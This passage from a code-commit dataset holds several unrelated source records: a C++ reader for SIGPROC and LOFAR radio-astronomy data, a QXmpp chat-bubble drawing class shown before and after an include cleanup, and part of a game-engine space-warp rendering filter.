License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n *\/\n\n#include <fstream>\n#include <vector>\n#include <string>\n#include <cmath>\n#include <H5Cpp.h>\nusing std::ios;\nusing std::string;\nusing std::ifstream;\nusing std::vector;\nusing std::sqrt;\nusing H5::H5File;\nusing H5::Group;\nusing H5::DataSet;\nusing H5::FloatType;\nusing H5::IntType;\n\n#include <Observation.hpp>\n#include <GPUData.hpp>\n#include <utils.hpp>\nusing isa::OpenCL::GPUData;\nusing isa::utils::toStringValue;\nusing isa::utils::changeEndianness;\n\n\n#ifndef READ_DATA_HPP\n#define READ_DATA_HPP\n\nnamespace AstroData {\n\ntemplate< typename T > void readSIGPROC(Observation< T > &observation, unsigned int bytestoSkip, string inputFilename, vector< GPUData< T > * > &data, unsigned int firstSecond = 0);\ntemplate< typename T > void readLOFAR(string headerFilename, string rawFilename, Observation< T > &observation, vector< GPUData< T > * > &data, unsigned int nrSeconds = 1, unsigned int firstSecond = 0);\n\n\n\/\/ Implementation\n\ntemplate< typename T > void readSIGPROC(Observation< T > &observation, unsigned int bytesToSkip, string inputFilename, vector< GPUData< T > * > &data, unsigned int firstSecond) {\n\tifstream inputFile;\n\tconst unsigned int BUFFER_DIM = 4;\n\tchar *buffer = new char [BUFFER_DIM];\n\n\tinputFile.open(inputFilename.c_str());\n\tinputFile.sync_with_stdio(false);\n\tinputFile.ignore(bytesToSkip);\n\tinputFile.seekg(firstSecond * observation.getNrChannels() * observation.getNrSamplesPerSecond(), ios::beg);\n\tfor ( unsigned int second = 0; second < observation.getNrSeconds(); second++ ) {\n\t\tdata.at(second) = new GPUData< T >(\"second\" + toStringValue< unsigned int >(second), true, true);\n\t\t(data.at(second))->allocateHostData(observation.getNrSamplesPerPaddedSecond() * observation.getNrChannels());\n\t\t\n\t\tfor ( unsigned int sample = 0; sample < observation.getNrSamplesPerSecond(); sample++ ) {\n\t\t\tfor ( unsigned int channel = observation.getNrChannels(); channel > 0; channel-- ) {\n\t\t\t\tinputFile.read(buffer, BUFFER_DIM);\n\t\t\t\t((data.at(second))->getHostData())[((channel - 1) * observation.getNrSamplesPerPaddedSecond()) + sample] = *(reinterpret_cast< T * >(buffer));\n\t\t\t}\n\t\t}\n\t}\n\tinputFile.close();\n\n\tdelete [] buffer;\n}\n\n\ntemplate< typename T > void readLOFAR(string headerFilename, string rawFilename, Observation< T > &observation, vector< GPUData< T > * > &data, unsigned int nrSeconds, unsigned int firstSecond) {\n\tunsigned int totalSamples = 0;\n\tunsigned int nrSubbands = 0;\n\tunsigned int nrChannels = 0;\n\tchar *word = new char[4];\n\tdouble totalIntegrationTime = 0.0;\n\n\t\/\/ Read the HDF5 file with the metadata\n\tH5File headerFile = H5File(headerFilename, H5F_ACC_RDONLY);\n\tFloatType typeDouble = FloatType(H5::PredType::NATIVE_DOUBLE);\n\tdouble valueDouble = 0.0;\n\tIntType typeUInt = IntType(H5::PredType::NATIVE_UINT);\n\tunsigned int valueUInt = 0;\n\n\tGroup currentNode = headerFile.openGroup(\"\/\");\n\tcurrentNode.openAttribute(\"OBSERVATION_FREQUENCY_MAX\").read(typeDouble, reinterpret_cast< void * >(&valueDouble));\n\tobservation.setMaxFreq(valueDouble);\n\tcurrentNode.openAttribute(\"OBSERVATION_FREQUENCY_MIN\").read(typeDouble, reinterpret_cast< void * >(&valueDouble));\n\tobservation.setMinFreq(valueDouble);\n\tcurrentNode = currentNode.openGroup(currentNode.getObjnameByIdx(0));\n\tcurrentNode.openAttribute(\"TOTAL_INTEGRATION_TIME\").read(typeDouble, reinterpret_cast< void * >(&valueDouble));\n\ttotalIntegrationTime = valueDouble;\n\tcurrentNode.openAttribute(\"NOF_BEAMS\").read(typeUInt, reinterpret_cast< void * >(&valueUInt));\n\tobservation.setNrBeams(valueUInt);\n\tcurrentNode = currentNode.openGroup(currentNode.getObjnameByIdx(0));\n\tcurrentNode.openAttribute(\"NOF_SAMPLES\").read(typeUInt, reinterpret_cast< void * >(&valueUInt));\n\ttotalSamples = valueUInt;\n\tcurrentNode.openAttribute(\"NOF_STATIONS\").read(typeUInt, reinterpret_cast< void * >(&valueUInt));\n\tobservation.setNrStations(valueUInt);\n\tcurrentNode.openAttribute(\"CHANNELS_PER_SUBBAND\").read(typeUInt, reinterpret_cast< void * >(&valueUInt));\n\tnrChannels = valueUInt;\n\tcurrentNode.openAttribute(\"CHANNEL_WIDTH\").read(typeDouble, reinterpret_cast< void * >(&valueDouble));\n\tobservation.setChannelBandwidth(valueDouble \/ 1000000);\n\tDataSet currentData = currentNode.openDataSet(\"STOKES_0\");\n\tcurrentData.openAttribute(\"NOF_SUBBANDS\").read(typeUInt, reinterpret_cast< void * >(&valueUInt));\n\tnrSubbands = valueUInt;\n\theaderFile.close();\n\t\n\tobservation.setNrSamplesPerSecond(static_cast< unsigned int >(totalSamples \/ totalIntegrationTime));\n\tif ( static_cast< unsigned int >(totalIntegrationTime) >= (firstSecond + nrSeconds) ) {\n\t\tobservation.setNrSeconds(nrSeconds);\n\t}\n\telse {\n\t\tobservation.setNrSeconds(static_cast< unsigned int >(totalIntegrationTime) - firstSecond);\n\t}\n\t\n\tobservation.setNrChannels(nrChannels * nrSubbands);\n\t\t\t\n\t\/\/ Read the raw file with the actual data\n\tifstream rawFile;\n\trawFile.open(rawFilename.c_str(), ios::binary);\n\trawFile.sync_with_stdio(false);\n\trawFile.seekg(firstSecond * observation.getNrSamplesPerSecond() * nrSubbands * nrChannels, ios::beg);\n\t\t\n\tdata.resize(observation.getNrSeconds());\n\t\n\tdouble *aOld = new double [nrSubbands * nrChannels];\n\tdouble *vOld = new double [nrSubbands * nrChannels];\n\n\tfor ( unsigned int second = 0; second < observation.getNrSeconds(); second++ ) {\n\t\tdata.at(second) = new GPUData< T >(\"second\" + toStringValue< unsigned int >(second), true, true);\n\t\t(data.at(second))->allocateHostData(observation.getNrChannels() * observation.getNrSamplesPerPaddedSecond());\n\t\tfor ( unsigned int sample = 0; sample < observation.getNrSamplesPerSecond(); sample++ ) {\n\t\t\tfor ( unsigned int subband = 0; subband < nrSubbands; subband++ ) {\n\t\t\t\tfor ( unsigned int channel = 0; channel < nrChannels; channel++ ) {\n\t\t\t\t\tlong long unsigned int element = (second * observation.getNrSamplesPerSecond()) + sample;\n\t\t\t\t\tT value = 0;\n\n\t\t\t\t\trawFile.read(word, 4);\n\t\t\t\t\tchangeEndianness(word);\n\t\t\t\t\tvalue = *(reinterpret_cast< T * >(word));\n\n\t\t\t\t\t((data.at(second))->getHostData())[(((subband * nrChannels) + channel) * observation.getNrSamplesPerPaddedSecond()) + sample] = value;\n\t\t\t\t\tif ( value <  observation.getMinValue() ) {\n\t\t\t\t\t\tobservation.setMinValue(value);\n\t\t\t\t\t}\n\t\t\t\t\tif ( value > observation.getMaxValue() ) {\n\t\t\t\t\t\tobservation.setMaxValue(value);\n\t\t\t\t\t}\n\n\t\t\t\t\tif ( element == 0 ) {\n\t\t\t\t\t\tobservation.setAverage((subband * nrChannels) + channel, value);\n\t\t\t\t\t\tobservation.setVariance((subband * nrChannels) + channel, 0.0);\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\taOld[(subband * nrChannels) + channel] = observation.getAverage((subband * nrChannels) + channel);\n\t\t\t\t\t\tvOld[(subband * nrChannels) + channel] = observation.getVariance((subband * nrChannels) + channel);\n\n\t\t\t\t\t\tobservation.setAverage((subband * nrChannels) + channel, aOld[(subband * nrChannels) + channel] + ((value - aOld[(subband * nrChannels) + channel]) \/ (element + 1)));\n\t\t\t\t\t\tobservation.setVariance((subband * nrChannels) + channel, vOld[(subband * nrChannels) + channel] + ((value - aOld[(subband * nrChannels) + channel]) * (value - observation.getAverage((subband * nrChannels) + channel))));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\trawFile.close();\n\n\tfor ( unsigned int channel = 0; channel < observation.getNrChannels(); channel++ ) {\n\t\tobservation.setVariance(channel, observation.getVariance(channel) \/ (observation.getNrSeconds() * observation.getNrSamplesPerSecond()));\n\t\tobservation.setStdDev(channel, sqrt(observation.getVariance(channel)));\n\t}\n\n\tdelete [] word;\n\tdelete [] aOld;\n\tdelete [] vOld;\n}\n\n} \/\/ AstroData\n\n#endif \/\/ READ_DATA_HPP\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Completely disable pixmap cache by default until we establish what we gain through its use<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2008-2010 The QXmpp developers\n *\n * Author:\n *\tManjeet Dahiya\n *\n * Source:\n *\thttp:\/\/code.google.com\/p\/qxmpp\n *\n * This file is a part of QXmpp library.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n *\/\n\n\n#include \"chatMsgGraphicsItem.h\"\n#include <QPainter>\n#include <QTextDocument>\n#include <QFontMetrics>\n#include <QGraphicsScene>\n#include <QGraphicsView>\n#include <QTime>\n\nQLinearGradient getGradient(const QColor &col, const QRectF &rect)\n{\n    QLinearGradient g(rect.topLeft(), rect.bottomLeft());\n\n    qreal hue = col.hueF();\n    qreal value = col.valueF();\n    qreal saturation = col.saturationF();\n\n    QColor c = col;\n    c.setHsvF(hue, 0.42 * saturation, 0.98 * value);\n    g.setColorAt(0, c);\n    c.setHsvF(hue, 0.58 * saturation, 0.95 * value);\n    g.setColorAt(0.25, c);\n    c.setHsvF(hue, 0.70 * saturation, 0.93 * value);\n    g.setColorAt(0.5, c);\n\n    c.setHsvF(hue, 0.95 * saturation, 0.9 * value);\n    g.setColorAt(0.501, c);\n    c.setHsvF(hue * 0.95, 0.95 * saturation, 0.95 * value);\n    g.setColorAt(0.75, c);\n    c.setHsvF(hue * 0.90, 0.95 * saturation, 1 * value);\n    g.setColorAt(1.0, c);\n\n    return g;\n}\n\nQLinearGradient darken(const QLinearGradient &gradient)\n{\n    QGradientStops stops = gradient.stops();\n    for (int i = 0; i < stops.size(); ++i) {\n        QColor color = stops.at(i).second;\n        stops[i].second = color.darker(160);\n    }\n\n    QLinearGradient g = gradient;\n    g.setStops(stops);\n    return g;\n}\n\nvoid drawPath(QPainter *p, const QPainterPath &path,\n              const QColor &col, const QString &name, int textWidth,\n              bool dark = false)\n{\n    const QRectF pathRect = path.boundingRect();\n\n    const QLinearGradient baseGradient = getGradient(col, pathRect);\n    const QLinearGradient darkGradient = darken(baseGradient);\n\n    p->save();\n\n   \/\/ p->setOpacity(0.25);\n\n    \/\/glow\n\/\/    if (dark)\n\/\/        p->strokePath(path, QPen(darkGradient, 6));\n\/\/    else\n\/\/        p->strokePath(path, QPen(baseGradient, 6));\n\n    p->setOpacity(1.0);\n\n    \/\/fill\n    if (dark)\n        p->fillPath(path, darkGradient);\n    else\n        p->fillPath(path, baseGradient);\n\n    QLinearGradient g(pathRect.topLeft(), pathRect.topRight());\n    g.setCoordinateMode(QGradient::ObjectBoundingMode);\n\n    p->setOpacity(0.2);\n    p->fillPath(path, g);\n\n    p->setOpacity(0.5);\n\n    \/\/ highlight\n\/\/    if (dark)\n\/\/        p->strokePath(path, QPen(col.lighter(160).darker(160), 2));\n\/\/    else\n\/\/        p->strokePath(path, QPen(col.lighter(160), 2));\n\n    p->setOpacity(1.0);\n\n    p->restore();\n}\n\nchatMsgGraphicsItem::chatMsgGraphicsItem(QGraphicsItem * parent):QGraphicsPathItem(parent),\n            m_spikeWidth(9),\n            m_spikeHeight(6),\n            m_cornerRadius(10),\n            m_textSpacing(4), m_color(Qt::yellow)\n{\n    setPath(createPath());\n\/\/    setFlags(QGraphicsItem::ItemIsMovable);\n\n    QFont font;\n    QFontMetrics fm(font);\n    m_timeStampWidth = fm.width(getTime()) + 4;\n}\n\nvoid chatMsgGraphicsItem::paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget)\n{\n    painter->setRenderHint(QPainter::Antialiasing);\n    drawPath(painter, path(), m_color, getText(), getTextWidth());\n\n\/\/    int spike_x = m_spikeWidth;\n\/\/    int spike_y = m_spikeHeight;\n\/\/    int corner = m_cornerRadius;\n\/\/    int length = m_width - spike_x;\n\/\/    int offset = spike_x;\n    QFont font;\n    font.setBold(true);\n    QTextDocument textDoc(getText());\n    QTextOption textOp;\n    textOp.setWrapMode(QTextOption::WrapAnywhere);\n    textOp.setAlignment(Qt::AlignLeft);\n    textDoc.setDefaultTextOption(textOp);\n    textDoc.setTextWidth(getTextWidth());\n    textDoc.setDefaultFont(font);\n\n    painter->setPen(Qt::white);\n    painter->setFont(font);\n    int height = (int) textDoc.size().height();\n    painter->drawText(m_spikeWidth + m_cornerRadius, 4, getTextWidth(), height,\n                      Qt::AlignLeft|Qt::TextWrapAnywhere, getText());\n\n\/\/    painter->setPen(Qt::gray);\n    painter->setPen(Qt::black);\n\n\/\/    font.setBold(false);\n    painter->setFont(font);\n    painter->drawText(-m_boxStartLength, 0, m_boxStartLength, m_height,\n                      Qt::AlignRight|Qt::AlignBottom, getName());\n\n    font.setBold(false);\n    painter->setPen(Qt::gray);\n    painter->setFont(font);\n\n    int timeWidth;\n    if(m_timeStampWidth > m_boxStartLength)\n        timeWidth = m_timeStampWidth;\n    else\n        timeWidth = m_boxStartLength;\n\n    painter->drawText(getMaxWidth() + 6, 0, timeWidth - 6, m_height,\n                      Qt::AlignBottom|Qt::AlignLeft, getTime());\n}\n\nvoid chatMsgGraphicsItem::setText(const QString& text)\n{\n    m_text = text;\n    calculateWidth();\n    setPath(createPath());\n}\n\nvoid chatMsgGraphicsItem::setMaxWidth(int width)\n{\n    m_maxWidth = width;\n    setPath(createPath());\n}\n\nvoid chatMsgGraphicsItem::setViewWidth(int width)\n{\n    \/\/25 for scrollbar\n    setMaxWidth(width - getBoxStartLength() - 25);\n}\n\nint chatMsgGraphicsItem::getMaxWidth() const\n{\n    return m_maxWidth;\n}\n\nvoid chatMsgGraphicsItem::setAlignment(Alignment align)\n{\n    m_alignment = align;\n    setPath(createPath());\n}\n\nQPainterPath chatMsgGraphicsItem::createPath()\n{\n    calculateWidth();\n    int spike_x = m_spikeWidth;\n    int spike_y = m_spikeHeight;\n    int corner = m_cornerRadius;\n    int length = m_width - spike_x;\n    int offset = spike_x;\n\n    QPainterPath messageBoxPath;\n    messageBoxPath.moveTo(0 + offset, m_height - corner);\n    QRectF rect(offset - 2*spike_x, m_height - corner - spike_y, 2*spike_x, 2*spike_y);\n    messageBoxPath.arcMoveTo(rect, -90.0);\n    messageBoxPath.arcTo(rect, 270, 90.0);\n    messageBoxPath.lineTo(0 + offset, corner);\n    messageBoxPath.arcTo(0 + offset, 0, 2*corner, 2*corner, 180, -90.0);\n    messageBoxPath.lineTo(length - corner, 0);\n    messageBoxPath.arcTo(length + offset - corner*2, 0, 2*corner, 2*corner, 90, -90.0);\n    messageBoxPath.lineTo(length + offset, m_height - corner);\n    messageBoxPath.arcTo(length + offset - corner*2, m_height - 2*corner, 2*corner, 2*corner, 0, -90.0);\n    messageBoxPath.lineTo(offset + corner, m_height);\n    messageBoxPath.arcTo(offset, m_height - 2*corner, 2*corner, 2*corner, 270, -45.0);\n    messageBoxPath.closeSubpath();\n\n    return messageBoxPath;\n}\n\nQString chatMsgGraphicsItem::getText() const\n{\n    return m_text;\n}\n\nint chatMsgGraphicsItem::getTextWidth() const\n{\n    return getMaxWidth() - m_spikeWidth - m_cornerRadius*2;\n}\n\nvoid chatMsgGraphicsItem::calculateWidth()\n{\n    QFont font;\n    font.setBold(true);\n    QTextDocument textDoc(m_text);\n    textDoc.setDefaultFont(font);\n    int idealWidth = (int)textDoc.size().width();\n    textDoc.setTextWidth(getTextWidth());\n    m_height = (int)textDoc.size().height();\n\n    if(idealWidth < getTextWidth())\n    {\n        m_width = idealWidth + m_spikeWidth + m_cornerRadius;\n    }\n    else\n        m_width = getMaxWidth();\n}\n\nvoid chatMsgGraphicsItem::setName(const QString& name)\n{\n    m_name = name;\n    if(name != \"Me\")\n        m_color = QColor(0, 210, 250);\n    else\n        m_color = QColor(250, 188, 239);\n}\n\nQString chatMsgGraphicsItem::getName() const\n{\n    return m_name;\n}\n\nQString chatMsgGraphicsItem::getTime() const\n{\n    return QTime::currentTime().toString(\"hh:mm\");\n}\n\nvoid chatMsgGraphicsItem::setBoxStartLength(int length)\n{\n    m_boxStartLength = length;\n}\n\nint chatMsgGraphicsItem::getBoxStartLength() const\n{\n    return m_boxStartLength;\n}\n\nvoid chatMsgGraphicsItem::setColor(const QColor& color)\n{\n    m_color = color;\n}\n\nQRectF chatMsgGraphicsItem::boundingRect() const\n{\n    QRectF rect = QGraphicsPathItem::boundingRect();\n    rect.setLeft(-getBoxStartLength());\n\n    int timeWidth;\n    if(m_timeStampWidth > m_boxStartLength)\n        timeWidth = m_timeStampWidth;\n    else\n        timeWidth = m_boxStartLength;\n    rect.setRight(getMaxWidth() + timeWidth);\n    return rect;\n}\n<commit_msg>remove unnecessary includes<commit_after>\/*\n * Copyright (C) 2008-2010 The QXmpp developers\n *\n * Author:\n *\tManjeet Dahiya\n *\n * Source:\n *\thttp:\/\/code.google.com\/p\/qxmpp\n *\n * This file is a part of QXmpp library.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n *\/\n\n\n#include \"chatMsgGraphicsItem.h\"\n\n#include <QPainter>\n#include <QTextDocument>\n#include <QTime>\n\nQLinearGradient getGradient(const QColor &col, const QRectF &rect)\n{\n    QLinearGradient g(rect.topLeft(), rect.bottomLeft());\n\n    qreal hue = col.hueF();\n    qreal value = col.valueF();\n    qreal saturation = col.saturationF();\n\n    QColor c = col;\n    c.setHsvF(hue, 0.42 * saturation, 0.98 * value);\n    g.setColorAt(0, c);\n    c.setHsvF(hue, 0.58 * saturation, 0.95 * value);\n    g.setColorAt(0.25, c);\n    c.setHsvF(hue, 0.70 * saturation, 0.93 * value);\n    g.setColorAt(0.5, c);\n\n    c.setHsvF(hue, 0.95 * saturation, 0.9 * value);\n    g.setColorAt(0.501, c);\n    c.setHsvF(hue * 0.95, 0.95 * saturation, 0.95 * value);\n    g.setColorAt(0.75, c);\n    c.setHsvF(hue * 0.90, 0.95 * saturation, 1 * value);\n    g.setColorAt(1.0, c);\n\n    return g;\n}\n\nQLinearGradient darken(const QLinearGradient &gradient)\n{\n    QGradientStops stops = gradient.stops();\n    for (int i = 0; i < stops.size(); ++i) {\n        QColor color = stops.at(i).second;\n        stops[i].second = color.darker(160);\n    }\n\n    QLinearGradient g = gradient;\n    g.setStops(stops);\n    return g;\n}\n\nvoid drawPath(QPainter *p, const QPainterPath &path,\n              const QColor &col, const QString &name, int textWidth,\n              bool dark = false)\n{\n    const QRectF pathRect = path.boundingRect();\n\n    const QLinearGradient baseGradient = getGradient(col, pathRect);\n    const QLinearGradient darkGradient = darken(baseGradient);\n\n    p->save();\n\n   \/\/ p->setOpacity(0.25);\n\n    \/\/glow\n\/\/    if (dark)\n\/\/        p->strokePath(path, QPen(darkGradient, 6));\n\/\/    else\n\/\/        p->strokePath(path, QPen(baseGradient, 6));\n\n    p->setOpacity(1.0);\n\n    \/\/fill\n    if (dark)\n        p->fillPath(path, darkGradient);\n    else\n        p->fillPath(path, baseGradient);\n\n    QLinearGradient g(pathRect.topLeft(), pathRect.topRight());\n    g.setCoordinateMode(QGradient::ObjectBoundingMode);\n\n    p->setOpacity(0.2);\n    p->fillPath(path, g);\n\n    p->setOpacity(0.5);\n\n    \/\/ highlight\n\/\/    if (dark)\n\/\/        p->strokePath(path, QPen(col.lighter(160).darker(160), 2));\n\/\/    else\n\/\/        p->strokePath(path, QPen(col.lighter(160), 2));\n\n    p->setOpacity(1.0);\n\n    p->restore();\n}\n\nchatMsgGraphicsItem::chatMsgGraphicsItem(QGraphicsItem * parent):QGraphicsPathItem(parent),\n            m_spikeWidth(9),\n            m_spikeHeight(6),\n            m_cornerRadius(10),\n            m_textSpacing(4), m_color(Qt::yellow)\n{\n    setPath(createPath());\n\/\/    setFlags(QGraphicsItem::ItemIsMovable);\n\n    QFont font;\n    QFontMetrics fm(font);\n    m_timeStampWidth = fm.width(getTime()) + 4;\n}\n\nvoid chatMsgGraphicsItem::paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget)\n{\n    painter->setRenderHint(QPainter::Antialiasing);\n    drawPath(painter, path(), m_color, getText(), getTextWidth());\n\n\/\/    int spike_x = m_spikeWidth;\n\/\/    int spike_y = m_spikeHeight;\n\/\/    int corner = m_cornerRadius;\n\/\/    int length = m_width - spike_x;\n\/\/    int offset = spike_x;\n    QFont font;\n    font.setBold(true);\n    QTextDocument textDoc(getText());\n    QTextOption textOp;\n    textOp.setWrapMode(QTextOption::WrapAnywhere);\n    textOp.setAlignment(Qt::AlignLeft);\n    textDoc.setDefaultTextOption(textOp);\n    textDoc.setTextWidth(getTextWidth());\n    textDoc.setDefaultFont(font);\n\n    painter->setPen(Qt::white);\n    painter->setFont(font);\n    int height = (int) textDoc.size().height();\n    painter->drawText(m_spikeWidth + m_cornerRadius, 4, getTextWidth(), height,\n                      Qt::AlignLeft|Qt::TextWrapAnywhere, getText());\n\n\/\/    painter->setPen(Qt::gray);\n    painter->setPen(Qt::black);\n\n\/\/    font.setBold(false);\n    painter->setFont(font);\n    painter->drawText(-m_boxStartLength, 0, m_boxStartLength, m_height,\n                      Qt::AlignRight|Qt::AlignBottom, getName());\n\n    font.setBold(false);\n    painter->setPen(Qt::gray);\n    painter->setFont(font);\n\n    int timeWidth;\n    if(m_timeStampWidth > m_boxStartLength)\n        timeWidth = m_timeStampWidth;\n    else\n        timeWidth = m_boxStartLength;\n\n    painter->drawText(getMaxWidth() + 6, 0, timeWidth - 6, m_height,\n                      Qt::AlignBottom|Qt::AlignLeft, getTime());\n}\n\nvoid chatMsgGraphicsItem::setText(const QString& text)\n{\n    m_text = text;\n    calculateWidth();\n    setPath(createPath());\n}\n\nvoid chatMsgGraphicsItem::setMaxWidth(int width)\n{\n    m_maxWidth = width;\n    setPath(createPath());\n}\n\nvoid chatMsgGraphicsItem::setViewWidth(int width)\n{\n    \/\/25 for scrollbar\n    setMaxWidth(width - getBoxStartLength() - 25);\n}\n\nint chatMsgGraphicsItem::getMaxWidth() const\n{\n    return m_maxWidth;\n}\n\nvoid chatMsgGraphicsItem::setAlignment(Alignment align)\n{\n    m_alignment = align;\n    setPath(createPath());\n}\n\nQPainterPath chatMsgGraphicsItem::createPath()\n{\n    calculateWidth();\n    int spike_x = m_spikeWidth;\n    int spike_y = m_spikeHeight;\n    int corner = m_cornerRadius;\n    int length = m_width - spike_x;\n    int offset = spike_x;\n\n    QPainterPath messageBoxPath;\n    messageBoxPath.moveTo(0 + offset, m_height - corner);\n    QRectF rect(offset - 2*spike_x, m_height - corner - spike_y, 2*spike_x, 2*spike_y);\n    messageBoxPath.arcMoveTo(rect, -90.0);\n    messageBoxPath.arcTo(rect, 270, 90.0);\n    messageBoxPath.lineTo(0 + offset, corner);\n    messageBoxPath.arcTo(0 + offset, 0, 2*corner, 2*corner, 180, -90.0);\n    messageBoxPath.lineTo(length - corner, 0);\n    messageBoxPath.arcTo(length + offset - corner*2, 0, 2*corner, 2*corner, 90, -90.0);\n    messageBoxPath.lineTo(length + offset, m_height - corner);\n    messageBoxPath.arcTo(length + offset - corner*2, m_height - 2*corner, 2*corner, 2*corner, 0, -90.0);\n    messageBoxPath.lineTo(offset + corner, m_height);\n    messageBoxPath.arcTo(offset, m_height - 2*corner, 2*corner, 2*corner, 270, -45.0);\n    messageBoxPath.closeSubpath();\n\n    return messageBoxPath;\n}\n\nQString chatMsgGraphicsItem::getText() const\n{\n    return m_text;\n}\n\nint chatMsgGraphicsItem::getTextWidth() const\n{\n    return getMaxWidth() - m_spikeWidth - m_cornerRadius*2;\n}\n\nvoid chatMsgGraphicsItem::calculateWidth()\n{\n    QFont font;\n    font.setBold(true);\n    QTextDocument textDoc(m_text);\n    textDoc.setDefaultFont(font);\n    int idealWidth = (int)textDoc.size().width();\n    textDoc.setTextWidth(getTextWidth());\n    m_height = (int)textDoc.size().height();\n\n    if(idealWidth < getTextWidth())\n    {\n        m_width = idealWidth + m_spikeWidth + m_cornerRadius;\n    }\n    else\n        m_width = getMaxWidth();\n}\n\nvoid chatMsgGraphicsItem::setName(const QString& name)\n{\n    m_name = name;\n    if(name != \"Me\")\n        m_color = QColor(0, 210, 250);\n    else\n        m_color = QColor(250, 188, 239);\n}\n\nQString chatMsgGraphicsItem::getName() const\n{\n    return m_name;\n}\n\nQString chatMsgGraphicsItem::getTime() const\n{\n    return QTime::currentTime().toString(\"hh:mm\");\n}\n\nvoid chatMsgGraphicsItem::setBoxStartLength(int length)\n{\n    m_boxStartLength = length;\n}\n\nint chatMsgGraphicsItem::getBoxStartLength() const\n{\n    return m_boxStartLength;\n}\n\nvoid chatMsgGraphicsItem::setColor(const QColor& color)\n{\n    m_color = color;\n}\n\nQRectF chatMsgGraphicsItem::boundingRect() const\n{\n    QRectF rect = QGraphicsPathItem::boundingRect();\n    rect.setLeft(-getBoxStartLength());\n\n    int timeWidth;\n    if(m_timeStampWidth > m_boxStartLength)\n        timeWidth = m_timeStampWidth;\n    else\n        timeWidth = m_boxStartLength;\n    rect.setRight(getMaxWidth() + timeWidth);\n    return rect;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"CSpaceWarpFilter.hpp\"\n#include \"Graphics\/CGraphics.hpp\"\n#include \"Graphics\/CBooRenderer.hpp\"\n\n#define WARP_RAMP_RES 32\n\nnamespace urde\n{\n\nvoid CSpaceWarpFilter::GenerateWarpRampTex(boo::IGraphicsDataFactory::Context& ctx)\n{\n    u8 data[WARP_RAMP_RES+1][WARP_RAMP_RES+1][4] = {};\n    float halfRes = WARP_RAMP_RES \/ 2.f;\n    for (int y=0 ; y<WARP_RAMP_RES+1 ; ++y)\n    {\n        for (int x=0 ; x<WARP_RAMP_RES+1 ; ++x)\n        {\n            zeus::CVector2f vec((x - halfRes) \/ halfRes, (y - halfRes) \/ halfRes);\n            float mag = vec.magnitude();\n            if (mag < 1.f && vec.canBeNormalized())\n            {\n                vec.normalize();\n                vec *= std::sqrt(mag);\n            }\n            data[y][x][0] = zeus::clamp(0, int((((vec.x \/ 2.f + 0.5f) - x \/ float(WARP_RAMP_RES)) + 0.5f) * 255), 255);\n            data[y][x][1] = zeus::clamp(0, int((((vec.y \/ 2.f + 0.5f) - y \/ float(WARP_RAMP_RES)) + 0.5f) * 255), 255);\n        }\n    }\n    m_warpTex = ctx.newStaticTexture(WARP_RAMP_RES+1, WARP_RAMP_RES+1, 1,\n                                     boo::TextureFormat::RGBA8, data[0],\n                                     (WARP_RAMP_RES+1) * (WARP_RAMP_RES+1) * 4);\n}\n\nCSpaceWarpFilter::CSpaceWarpFilter()\n{\n    m_token = CGraphics::g_BooFactory->commitTransaction([&](boo::IGraphicsDataFactory::Context& ctx) -> bool\n    {\n        GenerateWarpRampTex(ctx);\n        struct Vert\n        {\n            zeus::CVector2f m_pos;\n            zeus::CVector2f m_uv;\n        } verts[4] =\n        {\n        {{-1.0, -1.0}, {0.0, 0.0}},\n        {{-1.0,  1.0}, {0.0, 1.0}},\n        {{ 1.0, -1.0}, {1.0, 0.0}},\n        {{ 1.0,  1.0}, {1.0, 1.0}},\n        };\n        m_vbo = ctx.newStaticBuffer(boo::BufferUse::Vertex, verts, 32, 4);\n        m_uniBuf = ctx.newDynamicBuffer(boo::BufferUse::Uniform, sizeof(Uniform), 1);\n        m_dataBind = TShader<CSpaceWarpFilter>::BuildShaderDataBinding(ctx, *this);\n        return true;\n    });\n}\n\nvoid CSpaceWarpFilter::draw(const zeus::CVector2f& pt)\n{\n    \/* Indirect coords are full-texture sampling when warp is completely in viewport *\/\n    m_uniform.m_indXf[1][1] = 1.f;\n    m_uniform.m_indXf[0][0] = 1.f;\n    m_uniform.m_indXf[2][0] = 0.f;\n    m_uniform.m_indXf[2][1] = 0.f;\n\n    \/* Warp effect is fixed at 192x192 rectangle in original (1\/2.5 viewport height) *\/\n    m_uniform.m_matrix[1][1] = 1.f \/ 2.5f;\n    m_uniform.m_matrix[0][0] = m_uniform.m_matrix[1][1] \/ CGraphics::g_ProjAspect;\n\n    SClipScreenRect clipRect = {};\n    clipRect.x4_left = ((pt[0] - m_uniform.m_matrix[0][0]) \/ 2.f + 0.5f) * CGraphics::g_ViewportResolution.x;\n    if (clipRect.x4_left >= CGraphics::g_ViewportResolution.x)\n        return;\n    clipRect.x8_top = ((pt[1] - m_uniform.m_matrix[1][1]) \/ 2.f + 0.5f) * CGraphics::g_ViewportResolution.y;\n    if (clipRect.x8_top >= CGraphics::g_ViewportResolution.y)\n        return;\n    clipRect.xc_width = CGraphics::g_ViewportResolution.x * m_uniform.m_matrix[0][0];\n    if (clipRect.x4_left + clipRect.xc_width <= 0)\n        return;\n    